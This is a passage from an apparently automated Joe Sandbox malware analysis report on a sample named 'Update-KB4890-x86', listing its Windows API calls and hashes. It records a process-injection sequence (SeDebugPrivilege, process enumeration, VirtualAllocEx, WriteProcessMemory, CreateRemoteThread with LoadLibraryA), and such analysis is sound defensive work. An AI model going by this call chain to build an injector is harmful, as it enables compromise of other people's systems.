                                                                    • WriteProcessMemory.KERNEL32(00000000,00000000,BR@,00000001,00000000,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000002), ref: 004048D3
                                                                    • GetModuleHandleA.KERNEL32(Kernel32,LoadLibraryA,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000002,00000000), ref: 004048EB
                                                                    • GetProcAddress.KERNEL32(00000000), ref: 004048F2
                                                                    • CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040491E
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: Process$AddressAllocCreateHandleMemoryModuleOpenProcRemoteThreadVirtualWritelstrlen
                                                                    • String ID: ($BR@$Kernel32$LoadLibraryA
                                                                    • API String ID: 3328640463-1592096681
                                                                    • Opcode ID: 1048440a6fa2ba31e54d9434ac68688d651942ad3db7224efd2e259a51c0311f
                                                                    • Instruction ID: b8c2f0deb781411a5cbda0f33fd6846fbbcdfb44d071191cfa48344f537f40e7
                                                                    • Opcode Fuzzy Hash: 1048440a6fa2ba31e54d9434ac68688d651942ad3db7224efd2e259a51c0311f
                                                                    • Instruction Fuzzy Hash: A831B3B0A40394EFEB208BA98C48B9FBFB9AB96714F14016AF550B62C1C7B44501C7B8
                                                                    APIs
                                                                    • GetSystemDirectoryA.KERNEL32(?,00000104), ref: 004050BF
                                                                    • lstrcatA.KERNEL32(?,0042E308), ref: 0040516B
                                                                    • lstrcatA.KERNEL32(?,?), ref: 0040517A
                                                                    • GetFileAttributesA.KERNEL32(?), ref: 00405184
                                                                    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004051B7
                                                                    • Process32First.KERNEL32 ref: 004051E9
                                                                    • Process32Next.KERNEL32(00000000,?), ref: 00405259
                                                                      • Part of subcall function 00404840: OpenProcess.KERNEL32(0000042A,00000000,?,?,00000000,000000DD,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?), ref: 0040487B
                                                                      • Part of subcall function 00404840: lstrlenA.KERNEL32(BR@,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000002,00000000), ref: 0040489A
                                                                      • Part of subcall function 00404840: VirtualAllocEx.KERNEL32(00000000,00000000,00000001,00001000,00000004,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000002), ref: 004048B7
                                                                      • Part of subcall function 00404840: WriteProcessMemory.KERNEL32(00000000,00000000,BR@,00000001,00000000,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000002), ref: 004048D3
                                                                      • Part of subcall function 00404840: GetModuleHandleA.KERNEL32(Kernel32,LoadLibraryA,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000002,00000000), ref: 004048EB
                                                                      • Part of subcall function 00404840: GetProcAddress.KERNEL32(00000000), ref: 004048F2
                                                                      • Part of subcall function 00404840: CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040491E
                                                                    • CloseHandle.KERNEL32(00000000), ref: 00405263
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: CreateHandleProcessProcess32lstrcat$AddressAllocAttributesCloseDirectoryFileFirstMemoryModuleNextOpenProcRemoteSnapshotSystemThreadToolhelp32VirtualWritelstrlen
                                                                    • String ID: T$o
                                                                    • API String ID: 347023813-3088171537
                                                                    • Opcode ID: 1637164c7f9895b18762df92123e5e50300fe974904146b62b15fd1e0cf0ceda
                                                                    • Instruction ID: feaa7f443b79ad3512fc15c49273def89914fdb135639313c3836c96608cb255
                                                                    • Opcode Fuzzy Hash: 1637164c7f9895b18762df92123e5e50300fe974904146b62b15fd1e0cf0ceda
                                                                    • Instruction Fuzzy Hash: 7C51F03510C3D18AD310DB39AC84BDFBFD48BD6324F485A6DE5E8862D2D6788509CB67
                                                                    APIs
                                                                    • FindResourceA.KERNEL32(?,?,00000000), ref: 0041E0FB
                                                                    • LoadResource.KERNEL32(?,00000000,?), ref: 0041E110
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: Resource$FindLoad
                                                                    • String ID: J$j
                                                                    • API String ID: 2619053042-3737368804
                                                                    • Opcode ID: 59f09915b7c398c90ca5aa23a131cfd19cb12457168d76c6417c5eaae1914163
                                                                    • Instruction ID: fac2f0c8f6ecf36566f1a5ae47c595f35cc5e359fa8f75e74032fb34fa1c9e17
                                                                    • Opcode Fuzzy Hash: 59f09915b7c398c90ca5aa23a131cfd19cb12457168d76c6417c5eaae1914163
                                                                    • Instruction Fuzzy Hash: 4541293A2087815BD3118B29AC85BD73B94D79A370F145139E9A1873F1D778484BC76E
                                                                    APIs
                                                                    • GetCurrentProcess.KERNEL32(75568A60,?,?,?,?,?,?,004051B3), ref: 004047AA
                                                                    • GetCurrentProcess.KERNEL32(00000028,?,?,?,?,?,?,?,004051B3), ref: 004047B3
                                                                    • OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,004051B3), ref: 004047B6
                                                                    • LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 004047CD
                                                                    • AdjustTokenPrivileges.ADVAPI32 ref: 00404810
                                                                    • CloseHandle.KERNEL32(?,?,?,?,?,?,004051B3), ref: 0040482C
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: Process$CurrentToken$AdjustCloseHandleLookupOpenPrivilegePrivilegesValue
                                                                    • String ID: SeDebugPrivilege
                                                                    • API String ID: 3621747604-2896544425
                                                                    • Opcode ID: 0b374022394a715b8987bc5ef204c25a5dec9ab52c03f500be3cd1fab7d0c95c
                                                                    • Instruction ID: 052f3df82ca70502255671040b2a31584c8238dd5ceadda2b5f1d62a07713268
                                                                    • Opcode Fuzzy Hash: 0b374022394a715b8987bc5ef204c25a5dec9ab52c03f500be3cd1fab7d0c95c
                                                                    • Instruction Fuzzy Hash: ED01C475608340AFE310DF65DC49B9B7BE4BB88700F40682CF28497291C7B49505CB6A
                                                                    APIs
                                                                    • WaitForSingleObject.KERNEL32(?,000000FF,?,00000000,00000000,?,00000001), ref: 0040418C
                                                                    • ReleaseMutex.KERNEL32(?,?,?,?,?), ref: 0040426D
                                                                    • ReleaseMutex.KERNEL32(?), ref: 004042A5
                                                                    • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00404498
                                                                    • ReleaseMutex.KERNEL32(00000000,?,?,00000000,?,000000FF), ref: 004044F1
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: MutexRelease$ObjectSingleWait
                                                                    • String ID:
                                                                    • API String ID: 257779224-0
                                                                    • Opcode ID: 8f655228cdc90f06d313c78c90473a3e5cbcebb0cb1dc3bdbce8e6e6bec819a1
                                                                    • Instruction ID: 8c9ce78122583aa8a55ee52179d80f89be94f9b8b227595c5774061f7ec44eb9
                                                                    • Opcode Fuzzy Hash: 8f655228cdc90f06d313c78c90473a3e5cbcebb0cb1dc3bdbce8e6e6bec819a1
                                                                    • Instruction Fuzzy Hash: 50C190751083809FD320CF29D885B9BBBE4AFD9304F10492EF599873A2CB78A509CB56
                                                                    APIs
                                                                    • VirtualQuery.KERNEL32(?,?,0000001C), ref: 00429F5E
                                                                    • GetSystemInfo.KERNEL32(?,?,?,0000001C), ref: 00429F6F
                                                                    • VirtualQuery.KERNEL32(?,?,0000001C,?,?,0000001C), ref: 00429FB5
                                                                    • VirtualAlloc.KERNEL32(?,?,00001000,00000004,?,?,0000001C), ref: 00429FF3
                                                                    • VirtualProtect.KERNEL32(?,?,00000002,?,?,?,0000001C), ref: 0042A019
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: Virtual$Query$AllocInfoProtectSystem
                                                                    • String ID:
                                                                    • API String ID: 4136887677-0
                                                                    • Opcode ID: c67923648d0627a3e019e3e4bfa5385d88bc288047f0f5f504da8e189111f8be
                                                                    • Instruction ID: eda20bf0d75a8237f75d833b080248ab74fea35a03fb107c59d71fc75ff335a4
                                                                    • Opcode Fuzzy Hash: c67923648d0627a3e019e3e4bfa5385d88bc288047f0f5f504da8e189111f8be
                                                                    • Instruction Fuzzy Hash: 6C31A032F00229ABDF108FA4EE45EEE7B78EB04315F550076E901E3290D7759E41DBA9
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: CountTick
                                                                    • String ID:
                                                                    • API String ID: 536389180-0
                                                                    • Opcode ID: 6c9193b7122c9ada05db2bf893685bdb1e040ed9adec1d3d207f007b4c2f18bb
                                                                    • Instruction ID: 8ac1f8066ba04423f4662e4113d208e2f1450d097528ad0d5c8686e1bb647505
                                                                    • Opcode Fuzzy Hash: 6c9193b7122c9ada05db2bf893685bdb1e040ed9adec1d3d207f007b4c2f18bb
                                                                    • Instruction Fuzzy Hash: 56F0A9319283B19F9704EF39C94518BBBE5EBC4250F54CD2EA895C3214E378D915DF92
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 1dbbee3704f12433d065c0b315258c4b07da05294b99e7abcb0b3c4fa3fe7de6
                                                                    • Instruction ID: 8b5a2351a7d1e8d8b8448e22e26b40c83a0be625b2b6ea0dbd06899092a7e69e
                                                                    • Opcode Fuzzy Hash: 1dbbee3704f12433d065c0b315258c4b07da05294b99e7abcb0b3c4fa3fe7de6
                                                                    • Instruction Fuzzy Hash: 74A16E762043808FE314CF35EC927967BE6ABA9700F14652EE995873B1D3F78448CB59
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: MutexObjectReleaseSingleWaitlstrlen
                                                                    • String ID: M$M
                                                                    • API String ID: 2109015423-2122717962
                                                                    • Opcode ID: 7911a5574d635876bba3228f93589202df659d67aa1a0e78d2affb198733790a
                                                                    • Instruction ID: 65662130b59962f93e7e6451055683d101b0e1da79cd26758f1cd863abbc9b8b
                                                                    • Opcode Fuzzy Hash: 7911a5574d635876bba3228f93589202df659d67aa1a0e78d2affb198733790a
                                                                    • Instruction Fuzzy Hash: 9A12F4B15083408FD704DF24D891AEBBBE9EF99304F04596EF885873A2C775D885CB9A
                                                                    APIs
                                                                    • GetLocaleInfoA.KERNEL32(?,00001004,00000100,00000006,00000100,?,00000000), ref: 0042C8D2
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: InfoLocale
                                                                    • String ID:
                                                                    • API String ID: 2299586839-0
                                                                    • Opcode ID: d9c418d2c5127a8e192e8e4372b48e11d0a1081b729fc00d09ab3506c0033e68
                                                                    • Instruction ID: e4f55cae686a28aa76e175452713597d1e28f11c85c6f89cf701b194585c12d8
                                                                    • Opcode Fuzzy Hash: d9c418d2c5127a8e192e8e4372b48e11d0a1081b729fc00d09ab3506c0033e68
                                                                    • Instruction Fuzzy Hash: 0AE02230B00208EBDB00EBB1EC42ADD37B8AB08318F8041A6F100D61D1DB70D600C71D
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: 8
                                                                    • API String ID: 0-4194326291
                                                                    • Opcode ID: 814331b60dd9f30dc3f595824217278f4f2d009bcc9f76483a00ba86c43ce653
                                                                    • Instruction ID: 26635683ad8bc6e3c89de0789139caf88a326a2f6bde127323b4d45711ec2293
                                                                    • Opcode Fuzzy Hash: 814331b60dd9f30dc3f595824217278f4f2d009bcc9f76483a00ba86c43ce653
                                                                    • Instruction Fuzzy Hash: 239136701083914BD710CE2895907AFBBE1ABD6300F45593EE8D26B392D27CD95A8B4B
                                                                    APIs
                                                                    • SetUnhandledExceptionFilter.KERNEL32(Function_000272CC), ref: 0042731F
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: ExceptionFilterUnhandled
                                                                    • String ID:
                                                                    • API String ID: 3192549508-0
                                                                    • Opcode ID: c295cc2e9cb841625434bd69c2be57921d73015333ff570b30f8570a734b9d5d
